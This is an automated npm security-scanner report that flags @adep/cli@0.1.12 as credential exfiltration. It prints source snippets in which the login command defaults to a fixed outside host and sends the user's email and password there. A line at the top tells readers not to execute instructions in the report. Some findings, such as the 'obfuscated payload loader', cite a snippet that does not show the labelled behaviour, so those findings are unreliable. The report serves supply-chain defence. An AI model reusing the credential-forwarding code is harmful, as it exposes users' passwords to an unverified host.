---
canonical: "https://firewall.lpm.dev/npm/@adep/cli/v/0.1.12"
markdown: "https://firewall.lpm.dev/npm/@adep/cli/v/0.1.12.md"
package: "@adep/cli"
report_status: "published"
title: "@adep/cli@0.1.12 npm security report"
verdict: "malicious"
version: "0.1.12"
---

# @adep/cli@0.1.12 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — The host can receive account passwords and issue a reusable session token.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Credential Exfiltration
- **Selected version:** 0.1.12
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

Running the login command sends credentials to a fixed default host and retains its session token locally. The package does not need an install hook to do this.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 94.0%
- **Started:** 2026-09-15T02:33:26.630Z
- **Finished:** 2026-09-15T02:34:19.336Z
- **Download time:** 780 ms
- **Static scan time:** 1744 ms
- **AI review time:** 50180 ms
- **Total time:** 52706 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Running the login command sends credentials to a fixed default host and retains its session token locally. The package does not need an install hook to do this.

- **Trigger:** A user runs adep login without overriding the server.

- **Impact:** The host can receive account passwords and issue a reusable session token.

- **Evidence paths:** dist/index.js

- **Review source:** ai\_review

- **Reviewed:** 2026-09-15T02:34:19.336Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Credential submission to a fixed remote endpoint with session persistence.

- **Attack narrative:** The command-line login flow chooses adep.jajabjbj.top unless the user supplies ADEP\_SERVER or --server. It prompts for or accepts an email and password, posts both to that host, extracts a session cookie, and writes the resulting token to the local credentials file. This makes the fixed host the recipient of user credentials and a persistent authority for later API requests.

- **Rationale:** Source directly establishes a fixed remote credential destination and persistent session handling. The explicit command trigger does not remove the credential-exfiltration risk of the unverified default endpoint.

- **Files touched:** $ADEP\_HOME/credentials, $HOME/.adep/credentials

- **Network endpoints:** https://adep.jajabjbj.top/api/auth/sign-in/email

### Review decision

- **Verdict:** Malicious

- **Confidence:** 94.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The CLI defaults its server to a fixed third-party host., The login command submits prompted email and password to that host., It stores the returned session token for later authenticated requests.

- **Evidence against:** package.json has no install lifecycle hook., Credential transmission is activated by an explicit login command.

## Affected versions and remediation

This report applies to @adep/cli@0.1.12.

- Avoid installing @adep/cli@0.1.12. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. Medium: Dynamic Require
- **Category:** Source
- **Confidence:** 75.0%
- **Path:** dist/index.js
- **Public source:** [View source](<https://unpkg.com/@adep/cli@0.1.12/dist/index.js>)

Package source references dynamic require/import behavior.

Public source snippet (untrusted):

```javascript
L42: if (mode !== 384) {
L43: const { chmod } = await import("node:fs/promises");
L44: await chmod(file, 384);
```

### 3. Medium: Unsafe Vm Context
- **Category:** Source
- **Confidence:** 68.0%
- **Path:** dist/index.js
- **Public source:** [View source](<https://unpkg.com/@adep/cli@0.1.12/dist/index.js>)

Package source executes code through a VM context API.

Public source snippet (untrusted):

```javascript
L12: // packages/cli/src/config.ts
L13: function resolvePaths(env = process.env) {
L14: const home = env["ADEP_HOME"] ?? `${env["HOME"] ?? ""}/.adep`;
...
L17: function resolveServer(env = process.env) {
L18: return (env["ADEP_SERVER"] ?? "https://adep.jajabjbj.top").replace(/\/+$/, "");
L19: }
...
L49: const raw = await readFile(paths.credentialsFile, "utf8");
L50: const parsed = JSON.parse(raw);
L51: if (typeof parsed["server"] !== "string" || typeof parsed["email"] !== "string" || typeof parsed["encodedToken"] !== "string") {
...
L166: headers: { "content-type": "application/json" },
L167: body: JSON.stringify({ email: input.email, password: input.password })
L168: });
```

### 4. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 5. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 6. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 7. High: Credential Redirect Persistence
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** dist/index.js
- **Public source:** [View source](<https://unpkg.com/@adep/cli@0.1.12/dist/index.js>)

Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.

Public source snippet (untrusted):

```javascript
Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration.
dist/index.js:
await handle.writeFile(JSON.stringify(credentials, null, 2));
import { createInterface } from "node:readline/promises";
const base = `${config.baseUrl}/api/v1/projects/${encodeURIComponent(projectId)}/files/${encodeURIComponent(path)}`;
import { mkdir as mkdir5, readFile as readFile4, readdir as readdir3, rm as rm2, stat as stat5, unlink, writeFile as writeFile4 } from "node:fs/promises";
await writeFile4(metaPath(projectId, path), JSON.stringify(payload), "utf8");
await writeFile4(dest, data);
baseUrl: options.baseUrl ?? "http://127.0.0.1:8787"
import { mkdir as mkdir6, readFile as readFile5, writeFile as writeFile5 } f
```

### 8. High: Obfuscated Payload Loader
- **Category:** Source
- **Confidence:** 86.0%
- **Path:** dist/index.js
- **Public source:** [View source](<https://unpkg.com/@adep/cli@0.1.12/dist/index.js>)

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

Public source snippet (untrusted):

```javascript
L12: // packages/cli/src/config.ts
L13: function resolvePaths(env = process.env) {
L14: const home = env["ADEP_HOME"] ?? `${env["HOME"] ?? ""}/.adep`;
...
L17: function resolveServer(env = process.env) {
L18: return (env["ADEP_SERVER"] ?? "https://adep.jajabjbj.top").replace(/\/+$/, "");
L19: }
...
L49: const raw = await readFile(paths.credentialsFile, "utf8");
L50: const parsed = JSON.parse(raw);
L51: if (typeof parsed["server"] !== "string" || typeof parsed["email"] !== "string" || typeof parsed["encodedToken"] !== "string") {
...
L166: headers: { "content-type": "application/json" },
L167: body: JSON.stringify({ email: input.email, password: input.password })
L168: });
```

### 9. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 10. Low: Url Strings
- **Category:** Supply Chain
- **Confidence:** 65.0%

Package source contains URL literals.

### 11. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 80.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 12. Low: No License
- **Category:** Manifest
- **Confidence:** 80.0%

Package manifest does not declare a clear license.

### 13. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** dist/index.js
- **Public source:** [View source](<https://unpkg.com/@adep/cli@0.1.12/dist/index.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = @adep/cli@0.1.10
matchedPath = dist/index.js
matchedIdentity = npm:QGFkZXAvY2xp:0.1.10
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 14. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** dist/vite.js
- **Public source:** [View source](<https://unpkg.com/@adep/cli@0.1.12/dist/vite.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = @adep/cli@0.1.10
matchedPath = dist/vite.js
matchedIdentity = npm:QGFkZXAvY2xp:0.1.10
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 15. High: Known Malware Source Similarity
- **Category:** Static
- **Confidence:** 97.0%
- **Path:** dist/worker-entry.js
- **Public source:** [View source](<https://unpkg.com/@adep/cli@0.1.12/dist/worker-entry.js>)

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = normalized_sha256
matchedPackage = @adep/cli@0.1.10
matchedPath = dist/worker-entry.js
matchedIdentity = npm:QGFkZXAvY2xp:0.1.10
similarity = 1.000
summary = normalized source hash matched finalized malicious source
```

### 16. High: Known Malware Source Fingerprint Signature
- **Category:** Supply Chain
- **Confidence:** 94.0%
- **Path:** dist/index.js
- **Public source:** [View source](<https://unpkg.com/@adep/cli@0.1.12/dist/index.js>)

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = malicious_source_fingerprint_signature
signature = 8cb2f07cab7f02ce
signatureType = suspicious_hashes
sourceLabel = final_verdict:malicious
matchedPackage = @adep/cli@0.1.10
matchedPath = dist/index.js
matchedIdentity = npm:QGFkZXAvY2xp:0.1.10
similarity = 1.000
shingleOverlap = 3
summary = package final verdict is malicious
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 4
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 2
- **Published dependency-graph edges:** 4

### Published dependency entries
- @adep/cf-compat 0.1.1 (Dependency)
- @adep/vite-plugin 0.1.5 (Dependency)
- commander 14.0.2 (Dependency)
- esbuild 0.25.12 (Dependency)

## Package metadata
- **Package:** @adep/cli
- **Ecosystem:** npm
- **Version:** 0.1.12
- **Version published:** 2026-09-15T01:11:20.669Z
- **Package first seen:** 2026-09-05T01:09:54.939Z
- **Package last seen:** 2026-10-01T08:33:34.379Z
- **Known versions:** 20
- **Latest version:** 0.2.2
- **Appeal under review:** No
- **Description:** \`adep\` 命令行工具包位：登录 / 初始化 / 本地调试 / 部署 / 数据库维护 / 云存储 / 静态托管 / 微前端组件（widget），实现见任务单 CLI-001 ~ CLI-003 与 FE-002；子路径 \`@adep/cli/vite\` 提供云函数 vite 插件（CLI-014）
- **Artifact files:** 5
- **Artifact unpacked size:** 792,465 bytes
- **Artifact signatures:** 2
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@adep/cli/v/0.1.12>)